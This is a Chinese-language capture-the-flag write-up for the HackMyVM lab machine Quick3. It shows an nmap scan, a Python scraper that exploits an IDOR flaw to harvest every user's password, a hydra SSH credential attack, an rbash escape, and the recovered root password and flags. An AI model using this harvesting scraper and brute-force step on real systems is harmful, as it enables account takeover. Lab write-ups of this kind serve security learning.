quick3 - hackmyvm
简介
难度:简单
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Quick3
本地环境
虚拟机:vitual box
靶场IP(quick3):192.168.56.105
跳板机IP(windows 10):192.168.56.1 192.168.190.100
渗透机IP(ubuntu 22.04):192.168.190.30
扫描
小型靶场,nmap跑一下全端口即可
nmap -p 1-65535 -T4 -A -v 192.168.56.105
确定目标位22端口和80端口
http服务
这次网页和以往的不太一样。不存在LFI,路径爆破也没有有价值的东西。
点击主页右上角的"make appointment",即可进入一个登陆界面。随便注册个号进入。
点击右上角的"My Profile"进入个人页面
在"Change Password"选项中发现可以直接获取密码
因为URL的形式是/customer/user.php?id=29
,尝试sql注入无果,然后随便改个id的值就进入其他人的界面了
用这种方式可以获取所有用户的密码。简单写个爬虫收集信息:
import requests
from bs4 import BeautifulSoup as bs
from tqdm import tqdm
def getHTMLText(url,header= {'User-Agent': 'Mozilla/5.0'}):
r = requests.get(url,headers=header,timeout=30)
r.raise_for_status()
r.encoding = r.apparent_encoding
print ("URL地址为:", r.url)
return r.text
url='http://192.168.56.105/customer/user.php'
ck = 'PHPSESSID=5um04uhc6a82h0udeb0a83li9r'
header = {'User-Agent': 'Mozilla/5.0','Connection': 'keep-alive','Cookie': ck}
username = []
passwd = []
mail = []
for i in tqdm(range(1,29)):
urlt = url + "/?id=" + str(i)
text = getHTMLText(urlt,header)
soup = bs(text,'lxml')
username.append(soup.find("div",class_="contact_inner").h3.text)
passwd.append(soup.find('input',attrs={'id':'oldpassword'})['value'])
with open("res.txt","w") as f:
for i in range(len(username)):
f.write(username[i].split()[0].lower()+":"+passwd[i]"\n")
这里我专门针对用户名处理了一下,一般用户取名会用姓
爆破ssh
这里我选择hydra
hydra -C ./res.txt 192.168.56.105 ssh
登录,用户目录下拿到user.txt
HMV{717f274ee66f8541a3031f175f615e72}
提权
值得一提的是,现在默认的shell是rbash,也就是权限收到更多限制的shell。这里直接输入bash就能跳出rbash了。
linpeas没能跑出能直接用的漏洞,再继续收集点信息,从config.php找到root密码
fastandquicktobefaster
直接su,然后得到root.txt
HMV{f178761104e933f9341f13f64b38538a}